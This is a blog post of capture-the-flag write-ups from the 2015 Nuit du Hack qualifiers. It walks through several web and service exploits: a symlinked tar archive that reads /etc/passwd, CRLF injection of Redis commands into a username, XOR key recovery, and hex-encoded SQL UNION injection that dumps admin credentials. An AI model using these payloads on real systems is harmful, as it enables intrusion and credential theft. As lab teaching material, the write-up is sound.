CTF NDH Qualifications

Posted on 07 Apr 2015 in Security • 12 min read

Logo NDH

This weekend (4 April 2015) take place the qualification round for "Nuit du Hack" CTF from 00:01 to 23:59. It was a Jeopardy CTF.

I have participated with the Zenk-Security team. At the end we got the 7th position and are qualified for the final which would be a Attack-Defense CTF in Paris in June.

I publish here the ones for the challenges I participated to and make a writeup of. All the writeup for this CTF are accessible here (in french).

This article is a bit long, so here is the list of the available writeup :

Menu:

FaceBox

Web | 100 points | quals.nuitduhack.com/challenges/view/10

prod.facebox.challs.nuitduhack.com/

Statement

*A shady company decided to write their own software for storing files in the cloud.

"No no no, this is OUR filebox. We decline any responsability in the usage of our filebox. In any event your files get lost, trashed, stolen or spy on : it's your fault, not ours."

You are investigating on the security of their cloud storage as it might have disastrous consequences if it were to get hacked by malicious actors.*

Challenge

The website prod.facebox.challs.nuitduhack.com allow us to create an account and log ourself. Then we can upload files on the server both in public and private mod. In this case the link to the file is hide to the other users.

File Upload

We tried to upload files and execute some code on the server. It was a waste of time. Then we think that if there was a prod, there should also be a dev.

dev

With dev.facebox.challs.nuitduhack.com/ we found a git project with the following tree:

dev.facebox.challs.nuitduhack.com/.git/config
dev.facebox.challs.nuitduhack.com/.git/COMMIT_EDITMSG
dev.facebox.challs.nuitduhack.com/.git/HEAD
dev.facebox.challs.nuitduhack.com/.git/refs/heads/master
dev.facebox.challs.nuitduhack.com/.git/logs/

The page dev.facebox.challs.nuitduhack.com/.git/COMMIT_EDITMSG show the last commit messages: hash generation function

We can easily retrieve all files on this repository with rip-git.pl: https://github.com/ctfs/write-ups-2014/tree/master/9447-ctf-2014/tumorous https://raw.githubusercontent.com/kost/dvcs-ripper/master/rip-git.pl

A bit of python

With rip-git.pl we found the python script that generate the link of the uploaded files:

#!/usr/bin/env python
# -*- coding: utf-8 -*-


def generate_random_filename(user_id,filename):
    dbuser = users.query.filter_by(id=user_id).first()

    if dbuser.privkey is not None:
        return md5(str(dbuser.privkey)+filename).hexdigest()
    else:
        privkey = str(randint(10000000,99999999))
        upd = users.query.filter_by(id=user_id).first()
        upd.privkey = privkey
        db.session.commit()
    return md5(str(privkey)+filename).hexdigest()

Private file

We have been asked to test the application security. The private file access seems a interesting vulnerability. The first two files were probably upload by the staff. Then we will try to get the confidentials.txt file upload by the user koffi. Hopfuly a second file was upload by this user: paste1.txt at the address prod.facebox.challs.nuitduhack.com/files/view/3686d78a6e9d5258773a6ae0469d3ed4

In order to find the private key of the koffi user, we quickly inverse the previous script and we brute force the private key in order to found the good link with the url of the paste1.txt file:

import hashlib

for i in range(10000000,100000000):
        if((i % 10000000) == 0):
                print "%d" % (i)
        if(hashlib.md5(str(i)+"paste01.txt").hexdigest() == "3686d78a6e9d5258773a6ae0469d3ed4"):
                print "privkey found: %d" % (i)

print "Done!"

Result: privkey found: 95594864

With this private key we applied the algorithm to the crendentials.txt file:

import hashlib


def generate_random_filename(user_id,filename):

    privkey = 95594864
    print(hashlib.md5(str(privkey)+filename).hexdigest())

if __name__ == "__main__":
    generate_random_filename("koffi", "confidentials.txt")

Result: 35e2cb0b2e8bd40347ecd4e32767a060

We have the complete url to access the private file: prod.facebox.challs.nuitduhack.com/files/view/35e2cb0b2e8bd40347ecd4e32767a060

Flag: M4x_M4i5_DR

FaceSec

Web | 100 points | quals.nuitduhack.com/challenges/view/11

facesec.challs.nuitduhack.com/

Statement

*"Hello there,

We are looking for a developer or security consultant to secure our filebox system. We stumbled upon your LinkedIn profile and it seems like you would be a perfect candidate for this job. Could you please send us your CV and Motivation letter?

Thanks,

faceSec HR Director."*

Challenge

This challenge allow us to register an account and then upload text file as resume and motivation letter in order to apply for a job. We can also upload a compressed file (tar) with a cv.txt and a motiv.txt in order to upload both files at the same time.

Facebook

This challenge looks like the Facebook vulnerability discover last December: http://josipfranjkovic.blogspot.fr/2014/12/reading-local-files-from-facebooks.html nevertheless we must upload a .tar file instead of a .zip file.

A bit of symbolic link

We create a cv.txt file with a symbolic link to /etc/passwd and a motiv.txt file with random content and then tar the two files:

ln -s /etc/passwd cv.txt
echo plop > motiv.txt
tar cvf tar.tar *.txt
    cv.txt
    motiv.txt

We upload the file tar.tar and we get as excepted the /etc/passwd file from the server:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List
Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats
Bug-Reporting System (admin):/var/lib/gnats:/bin/s)
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
sshd:x:101:65534::/var/run/sshd:/usr/sbin/nologin
facesec:x:1000:1000:W00tSymL1nkAttackStillW0rksIn2k15:/home/facesec:/bin/sh

The flag is the content of the User ID Info of the facesec user.

Flag: W00tSymL1nkAttackStillW0rksIn2k15

SecureAuth

Thank to Spl3en who redacte this writeup before me.

Exploit | 350 points | quals.nuitduhack.com/challenges/view/16

Statement

*"There is a building. Inside this building there is a level where no elevator can go, and no stair can reach. This level is filled with doors. These doors lead to many places. Hidden places. But one door is special. One door leads to the source." (The Keymaker)

Find the key. Open the door. Static client @ static.challs.nuitduhack.com/SecureAuthClient.tar.gz*

Challenge

The tar.gz file contain the following python program:

import socket
from hashlib import sha256
class SecureConnect_Client():
    def __init__(self):
        self.sock = None
        self.username = None
        self.password = None

    def connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.connect(("151.80.18.93", 4241))

    def login(self, username, password):
        self.username = username
        self.password = password
        challenge = self.get_challenge()
        authpacket = self.process_authpacket(username, password, challenge)
        print "[~] Sending auth packet..."
        self.sock.sendall(authpacket)

    def get_challenge(self):
        data = self.sock.recv(1024)
        if data[:9] == "CHALLENGE":
            print "[~] Server sent challenge : %s !" % data[10:-1]
            return data[10:-1]
        raise Exception("Bad challenge...")

    def process_authpacket(self, username, authtoken, challenge):
        packet = "AUTH %s|%s" % (username, sha256(sha256(authtoken).hexdigest() + challenge).hexdigest())
        print "[+] Auth data : %s" % packet
        return packet

    def get_response(self):
        print self.sock.recv(1024)
        print self.sock.recv(1024)

    def close(self):
        self.sock.close()
if __name__ == "__main__":
    scc = SecureConnect_Client()
    scc.connect()
    scc.login("username", "password")
    scc.get_response()
    scc.close()

We execute the code:

spl3en@box:~$ python SecureAuthClient.py
[~] Server sent challenge : gOg0gySNyDbKCKD5oT6SLEdG4fEgkNXntk5uQ1m1XtZzIvMT62bcqMgmB6ei5HVI !
[+] Auth data : AUTH username|7b98c028fc42ee7bc830948b036571f8327279b6929b4f598891ed608edbfbd9
[~] Sending auth packet...
[!] Authentification Error : Invalid username.
[-] Bad password or authentification error... !

admin

By replacing username by admin we got a different message allowing us to think that we got the right user:

spl3en@box:~$ python SecureAuthClient.py
[~] Server sent challenge : GRlJD0cTH7RQFPQ5TUNQRQZVmLrxejFNsDPYFF0LWZKvBJLvFwAvN0YDPvU9AMGV !
[+] Auth data : AUTH admin|febb7f8cec097ba5636da95ded1b019030483436385584297bbf64e1bf828acb
[~] Sending auth packet...
[+] Welcome Administrator we are verifying your password...
[-] Bad password or authentification error... !

Errors

Moreover, when playing with the username value, for instance by putting username" we got the following message:

spl3en@box:~$ python SecureAuthClient.py
[~] Server sent challenge : uJ2A8UE1WMwYCgWDmOMZSVirPWQoxhWAVeECAwWOVUxXD9q6qqvqGPSpolKr5KX1 !
[+] Auth data : AUTH username'|a932aed6531ebf37074484e10611499007dadd6c42f69649a242302c09245792
[~] Sending auth packet...
[!] Authentification Error : Valid response code but no user data received : -ERR Protocol error: unbalanced quotes in request
[-] Bad password or authentification error... !

Redis

The error unbalanced quotes in request seems to be from a Redis server, a NoSQL engine. We can see this precise error in the networking.c file of the project.

We replace the username with admin\x0A\x0D in order to finish the command and obtain :

spl3en@box:~$ python SecureAuthClient.py
[~] Server sent challenge : OFJUOFLbDdR49FHeNMUH4FX7VFIUPxiASDKIaXpZvtIELU3Yo333ICcUmIZFfVWB !
[+] Auth data : AUTH username |e72fd1858578774bfbee00196992db55f7697833746053a2390a73f4616c60da
[~] Sending auth packet...
[+] Welcome -ERR unknown command ':name' we are verifying your password...
[-] Bad password or authentification error... !

We notice the prefix :name which have been interpreted as a second command.

Command injection

We try to inject Redis commands like INFO by replacing the username with admin\x0A\x0DINFO\x0A\x0D:

spl3en@box:~$ python SecureAuthClient.py
[~] Server sent challenge : JrLFTYYrDxYibypIBzkdmALAzDCoYe9olBMEZ2OXEDuqsrFFISLzLhWMkeFOdRCB !
[+] Auth data : AUTH admin
INFO
|30247cdea2397657332d6f35b4c2a4340b83e3a842a17119704f31185a41cbe3
[~] Sending auth packet...
[+] Welcome -ERR unknown command 'INFO' we are verifying your password...

[-] Bad password or authentification error... !

The INFO commend is not recognize. After several tests, we see that all commands but GET seems filtrated. We suppose that the one used to get the username and the password in the NoSQL database. With

The requests on the server should be something like:

username = GET <user>:name
password = GET <user>:password

We try to inject admin:password\x0A\x0D in the username, that will give us:

username = GET admin:password\x0A\x0D:name
password = GET admin:password\x0A\x0D:password

(The name and password at the end of each line would not be interpreted).

We execute the program with admin:password\x0A\x0D as a username:

spl3en@box:~$ python SecureAuthClient.py
[~] Server sent challenge : DsHn1UJH7LjPSpVOIuZwh7QUgEZ1qGXnK8sHxBYnSTsaWNdVYDvHG5UCPTrvL2AJ !
[+] Auth data : AUTH admin:password
|606611cc808eabd5e38bed8e21360b52127f3e2cecbf02413c3da90fa43c71a3
[~] Sending auth packet...
[+] Welcome 837a135ad3ccb1978f169aa62a62a028b76ec42b2284791bd4703421ec050529 we are verifying your password...

[-] Bad password or authentification error... !

As excepted the server show us the username that we replace by its hashed password. We get the sha256(admin_passwd): 837a135ad3ccb1978f169aa62a62a028b76ec42b2284791bd4703421ec050529.

We replace the corresponding python code to directly send the hash:

packet = "AUTH %s|%s" % (username, sha256(sha256(authtoken).hexdigest() + challenge).hexdigest())

Become:

packet = "AUTH %s|%s" % (username, sha256("837a135ad3ccb1978f169aa62a62a028b76ec42b2284791bd4703421ec050529" + challenge).hexdigest())

We execute the script:

spl3en@box:~$ python SecureAuthClient.py
[~] Server sent challenge : elQQpNHPDlDk1FO9RUiqDfUyUBRpFGMJ5NuBkGTGnGVYW9SCRluSYlcNQnJYkSHP !
[+] Auth data : AUTH admin:password
|8baf1cc43bbe6316ed5959cd8efd2fd8f23d9bae441d4a8134277cd973fcaec4
[~] Sending auth packet...
[+] Welcome 837a135ad3ccb1978f169aa62a62a028b76ec42b2284791bd4703421ec050529 we are verifying your password...

[+] Congrats. The flag is : *INSERT_FUNNY_QUOTE_HERE*

Flag: *INSERT_FUNNY_QUOTE_HERE*

Updator

Exploit | 200 points | quals.nuitduhack.com/challenges/view/9

updator.challs.nuitduhack.com/

Statement

*Unhackable : "Not hackable; that cannot be hacked or broken into."

We manage updates and thus have fixes, this is not a PS3 as it is unhackable… or is it?*

Challenge

The website is a simple page with a login interface for witch we do not have any credentials and a Update button. When clicking on the button we got the following message from the page updator.challs.nuitduhack.com/update.py: The update managing system is still under construction but will be available soon.

robots.txt

The file robots.txt reveal the folder temp/:

Disallow: temp/*

In this folder we found a file log.py.encrypted. How can we decipher it ?

pyc

The Update button call a update.py file therefor we can try for the compiled version of it with the .pyc extension as confirmed by the page updator.challs.nuitduhack.com/update.pyc

We must decompile this file, we will use uncompyle2. The output is the following python program:

import config
import sys
KEY = config.KEY

def xor(*args):
    if len(args) < 2:
        sys.exit(0)
    length = len(args[0])
    for arg in args:
        if len(arg) != length:
            sys.exit(0)
        length = len(arg)

    cipher = args[0]
    for arg in args[1:]:
        cipher = ''.join([ chr(ord(arg[i]) ^ ord(cipher[i])) for i in range(len(arg)) ])

    return cipher


class Crypto:

    @staticmethod
    def encrypt(file):
        with open(file, 'r') as fd:
            content = fd.read()
        content = content.ljust(len(content) + (8 - len(content) % 8), '0')
        blocks = [ content[i * 8:(i + 1) * 8] for i in range(len(content) / 8) ]
        with open('%s.encrypted' % file, 'w') as fd:
            encrypted = []
            for i in range(len(blocks)):
                if i == 0:
                    encrypted.append(xor(KEY, blocks[i]))
                else:
                    encrypted.append(xor(KEY, blocks[i], encrypted[i - 1]))

            fd.write(''.join(encrypted))

    @staticmethod
    def decrypt(file):
        with open(file, 'r') as fd:
            content = fd.read()
        blocks = [ content[i * 8:(i + 1) * 8] for i in range(len(content) / 8) ]
        with open('.'.join(file.split('.')[:-1]), 'w') as fd:
            plain = []
            for i in range(len(blocks)):
                if i == 0:
                    plain.append(xor(KEY, blocks[i]))
                else:
                    plain.append(xor(KEY, blocks[i], blocks[i - 1]))

            fd.write(''.join(plain).rstrip('0'))


print 'Content-Type: text/html'
print '\n<!DOCTYPE html>\n<html>\n  <head>\n    <meta charset="UTF-8">\n    <title>Updator - Update system</title>\n    <link rel="stylesheet" href="static/font-awesome/css/font-awesome.css">\n    <link rel="stylesheet" href="static/css/style.css">\n  </head>\n  <body>\n    <div id="info">\n      The update managing system is still under construction but will be available soon.\n    </div>\n  </body>\n</html>\n'
</code>

The private key

We know the algorithm use to encrypt the log.py.encypted file: a XOR cipher by bloc of 8 characters where the preceding bloc is also XOR with the current one. We just need the key. Bruteforcing 8 characters will be too long, we need an other method. The log.py.encypted file being python code will probably start by something like import sys.

First of all lets take a closer look to log.py.encrypted:

[maggick@rootine updator]$ hexdump -C log.py.encrypted
00000000  5f 36 30 0b 03 56 06 17  08 19 15 1b 1b 19 45 6e  |_60..V........En|
00000010  34 0e 1a 38 35 7f 2a 4f  22 68 7a 7b 28 32 6b 4f  |4..85.*O"hz{(2kO|
00000020  33 39 30 7c 35 71 3e 4f  25 2e 1f 7f 23 36 6a 14  |390|5q>O%...#6j.|
00000030  3a 4f 55 11 72 34 6c 47  4c 67 61 14 77 7f 29 59  |:OU.r4lGLga.w.)Y|
00000040  1f 48 49 1f 62 57 2f 0a  09 33 6d 1e 75 55 65 16  |.HI.bW/..3m.uUe.|
00000050  58 40 58 09 61 05 2d 04  03 7e 34 4d 60 46 78 04  |X@X.a.-..~4M`Fx.|
00000060  42 4a 06 4d 38 5e 54 57  54 31 66 09 69 5c 52 46  |BJ.M8^TWT1f.i\RF|
00000070  03 19 43 03 79 13 11 15  08 62 24 42 7b 1e 12 15  |..C.y....b$B{...|
00000080  61 1c 17 01 2a 19 14 4e  1b 08 10 3a 1f 72 60 11  |a...*..N...:.r`.|
00000090  0d 20 24 2c 46 34 27 16  5e 0f 0d 25 52 38 65 04  |. $,F4'.^..%R8e.|
000000a0  1c 31 63 35 4c 7e 22 0e  02 43 0a 7d 1d 29 77 18  |.1c5L~"..C.}.)w.|
000000b0  46 76 2b 74 09 22 5b 4b  50 0d 4b 30 58 20 5d 4f  |Fv+t."[KP.K0X ]O|
000000c0  0f 22 63 74 46 72 1e 52  11 1b 42 63 52 3e 59 4c  |."ctFr.R..BcR>YL|
000000d0  42 6c 22 20 42 37 58 16  54 56 11 64 55 71 44 6f  |Bl" B7X.TV.dUqDo|
000000e0  42 2d 71 20 04 73 42 3c  54 56 11 64 13 35 4a 38  |B-q .sB<TV.d.5J8|
000000f0  10 64 25 65 4a 30 37 6e  55 62 45 4d 54 75 78 73  |.d%eJ07nUbEMTuxs|
00000100  43 4e 6c 5d 4d 77 2e 61  06 66 5b 56 4e 31 28 37  |CNl]Mw.a.f[VN1(7|
00000110  43 61 75 15 1f 36 2e 6c  06 4e 47 59 0a 75 7c 7a  |Cau..6.l.NGY.u|z|
00000120  44 7c 6a 58 55 33 3b 7d  17 53 43 51 41 3f 69 61  |D|jXU3;}.SCQA?ia|
00000130  45 69 7a 1d 19 34 63 32  03 53 49 0a 1f 79 37 25  |Eiz..4c2.SI..y7%|
00000140  1c 21 03 5e 5e 6b 21 66                           |.!.^^k!f|
00000148

XOR being a symmetric algorithm we just need to XOR the first octet of the file with the word import s:

>>> chr(0x5f^ord('i'))
'6'
>>> chr(0x36^ord('m'))
'['
>>> chr(0x30^ord('p'))
'@'
>>> chr(0x0b^ord('o'))
'd'
>>> chr(0x03^ord('r'))
'q'
>>> chr(0x56^ord('t'))
'"'
>>> chr(0x06^ord(' '))
'&'
>>> chr(0x17^ord('s'))
'd'

We decipher the file with the key 6[@dq"&d and obtain the following first line:

import satetime

The first line of our file was not import sys but import datetime.

>>> chr(0x17^ord('d'))
's'

The logs file

We decipher the file with the key 6[@dq"&s and obtain the following file:

import datetime

LOG_DIR = 'logs'

class Logger():

    @staticmethod
    def log(username, password):
        basename = '%s/%s_%s' % (LOG_DIR, str(datetime.date.today()), username)
        with open(basename, 'a+') as fd:
            fd.write('[%s] Login with password %s\n' % (str(datetime.datetime.today()), password))

We see that the logs of the application are in a file like /logs/date_username/ with the date in the format YYYY-MM-DD.

We go to the URL updator.challs.nuitduhack.com/logs/2015-04-04_admin to see the logs:

[2015-04-04 18:49:48.839448] Login with password Mpt2P4sse2Ouf
[2015-04-04 18:49:54.044382] Login with password Mot2P4sse2Ouf

We now have the credentials to log ourself in the interface and get the flag.

Flag: zEpbiUFt5p7m84cxOxN6

Raptor

Thank to Plo who redact this WRITUP before me.

Misc \ 400 points quals.nuitduhack.com/challenges/view/12

Statement

No statement, nothing except a link: raptor.challs.nuitduhack.com:4142

Challenge

We connect ourself to the port and the address:

[plo@hyperion Misc]$ nc raptor.challs.nuitduhack.com 4142
~ » Welcome to the Raptor/1.0 Information Exchange Server
~ » You are anonymous - Read only access !
Available commands :
+----------+-----------------+-------------------------------+--------------------------------+
| Command  | Required Access |             Syntax            |              Help              |
+----------+-----------------+-------------------------------+--------------------------------+
|   AUTH   |      guest      |    AUTH [login] [password]    |     Connect to an account      |
|   LIST   |       user      |       LIST [maxrecords]       |    List users informations     |
|  SEARCH  |       user      | SEARCH [pattern] [maxresults] |         Search an user         |
|  RSHELL  |      admin      |             RSHELL            |    Migrate to Raptor Shell     |
| VERSION  |      guest      |            VERSION            |  Show current Raptor version   |
| REGISTER |      guest      |            REGISTER           |     Register a new account     |
|   HELP   |      guest      |            VERSION            |      Show this help menu       |
|  RIGHTS  |      guest      |             RIGHTS            |   Print your current rights    |
| HISTORY  |       user      |            HISTORY            |     Show your call history     |
|  RESET   |      guest      |             RESET             | ROLLBACK ! (Reset the CTF DB.) |
|   QUIT   |      guest      |              QUIT             |     Close the connection.      |
+----------+-----------------+-------------------------------+--------------------------------+

We are connected to the Raptor service as guest.

The output format seems to be a database. A SQL request could return this output. The Raptor service got 3 level of rights: guest, user and admin and the only command restricted to the admin right is RSHELL. When continuing to discover the commands, we notice that the _ and % SQL wildcards characters work directly out of the box:

guest ~ $ SEARCH %
+-----------+---------------+-----------+--------+
| FIRSTNAME |    LASTNAME   | DESKPHONE | RIGHTS |
+-----------+---------------+-----------+--------+
|   Wesley  |   Eshmaggle   |    4412   | admin  |
|    Yvan   |    Delacam    |    0452   |  user  |
|    Yvon   |     Payrir    |     A     |  user  |
|   Zlatan  | Ibrahimovitch |    5122   |  user  |
+-----------+---------------+-----------+--------+

guest ~ $ SEARCH _
+-----------+---------------+-----------+--------+
| FIRSTNAME |    LASTNAME   | DESKPHONE | RIGHTS |
+-----------+---------------+-----------+--------+
|   Wesley  |   Eshmaggle   |    4412   | admin  |
|    Yvan   |    Delacam    |    0452   |  user  |
|    Yvon   |     Payrir    |     A     |  user  |
|   Zlatan  | Ibrahimovitch |    5122   |  user  |
+-----------+---------------+-----------+--------+

Moreover, the user Yvon Payrir as a DESKPHONE A. We create an account to check if we can put directly a letter as DESKPHONE:

guest ~ $ REGISTER
Please fill the informations below :

Login : a
Firstname : a
Lastname : a
Contact (DESK PHONE) : TEST
/!\ ERROR ! INVALID DESKPHONE NUMBER !

This is not directly possible, we then used the hexadecimal value of TEST:

guest ~ $ REGISTER
Please fill the informations below :

Login : a
Firstname : a
Lastname : a
Contact (DESK PHONE) : 0x54455354
Password : zenk
Encrypting using 128x(ROT13) ......HAAAAAAAAX......
Password encryption done ! (Security First) !

guest ~ $ SEARCH %
+-----------+---------------+-----------+--------+
| FIRSTNAME |    LASTNAME   | DESKPHONE | RIGHTS |
+-----------+---------------+-----------+--------+
|     a     |       a       |    TEST   |  user  |
|   Wesley  |   Eshmaggle   |    4412   | admin  |
|    Yvan   |    Delacam    |    0452   |  user  |
|    Yvon   |     Payrir    |     A     |  user  |
|   Zlatan  | Ibrahimovitch |    5122   |  user  |
+-----------+---------------+-----------+--------+

(We can notice that the password is "Encrypted" with 128 ROT13 which is plain text as ROT13 is symmetric). We can inject anything in the DESKPHONE filed.

One of the command is HISTORY. This command list the calls history for a given user. The coincidence is great as we can inject data in the DESKPHONE field:

a ~ $ HISTORY
RAPTOR CALL REPORTING
- CLIENT INFO :

+-----------+------+
|  USERNAME |  a   |
|   RIGHTS  | user |
| DESKPHONE | TEST |
+-----------+------+

If we put an existing number as DESKPHONE, the HISTORY command show us the history of an other user. It seems to be a simple SQL injection in hexadecimal. We try to get some informations about the database (the SQL command is in the DESKPHONE filed):

guest ~ $ REGISTER
Please fill the informations below :

Login : d
Firstname : d
Lastname : d
Contact (DESK PHONE) : 0x3120554e494f4e2053454c454354207461626c655f736368656d612c7461626c655f6e616d652c636f6c756d6e5f6e616d652c6e756c6c2046524f4d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73
Password : zenk
Encrypting using 128x(ROT13) ......HAAAAAAAAX......
Password encryption done ! (Security First) !

d ~ $ HISTORY
RAPTOR CALL REPORTING
- CLIENT INFO :

+-----------+-----------------------------------------------------------------------------------------+
|  USERNAME |                                            d                                            |
|   RIGHTS  |                                           user                                          |
| DESKPHONE | 1 UNION SELECT table_schema,table_name,column_name,null FROM information_schema.columns |
+-----------+-----------------------------------------------------------------------------------------+

 - CALL HISTORY

+--------------------+---------------------------------------+----------------------------------+----------+
|         ID         |                  DATE                 |           DESTINATION            | DURATION |
+--------------------+---------------------------------------+----------------------------------+----------+
| information_schema |             CHARACTER_SETS            |        CHARACTER_SET_NAME        |   None   |
| [...]              |             [...]                     |        [...]                     |   None   |
|    x_8816665166    |                 users                 |                id                |   None   |
|    x_8816665166    |                 users                 |            firstname             |   None   |
|    x_8816665166    |                 users                 |               name               |   None   |
|    x_8816665166    |                 users                 |             contact              |   None   |
|    x_8816665166    |                 users                 |             password             |   None   |
|    x_8816665166    |                 users                 |              login               |   None   |
|    x_8816665166    |                 users                 |              rights              |   None   |
+--------------------+---------------------------------------+----------------------------------+----------+

We get the admin password:

guest ~ $ REGISTER
Please fill the informations below :

Login : i
Firstname : i
Lastname : i
Contact (DESK PHONE) : 0x3120554e494f4e2053454c454354206c6f67696e2c70617373776f72642c7269676874732c6e756c6c2046524f4d207573657273205748455245207269676874733d2761646d696e27
Password : i
Encrypting using 128x(ROT13) ......HAAAAAAAAX......
Password encryption done ! (Security First) !

i ~ $ HISTORY
RAPTOR CALL REPORTING
- CLIENT INFO :

+-----------+---------------------------------------------------------------------------+
|  USERNAME |                                     i                                     |
|   RIGHTS  |                                    user                                   |
| DESKPHONE | 1 UNION SELECT login,password,rights,null FROM users WHERE rights='admin' |
+-----------+---------------------------------------------------------------------------+

 - CALL HISTORY

+-------------+------------+-------------+----------+
|      ID     |    DATE    | DESTINATION | DURATION |
+-------------+------------+-------------+----------+
| w.eshmaggle | Hanlbatard |    admin    |   None   |
+-------------+------------+-------------+----------+

We login as the admin user and user the RSHELL command:

guest ~ $ AUTH w.eshmaggle Hanlbatard
Welcome w.eshmaggle !
w.eshmaggle ~ $ RSHELL
Ok, ok good job. You are admin... The flag is : 0eb80d9c2cdee95b461cf0b70d40791f

Flag: 0eb80d9c2cdee95b461cf0b70d40791f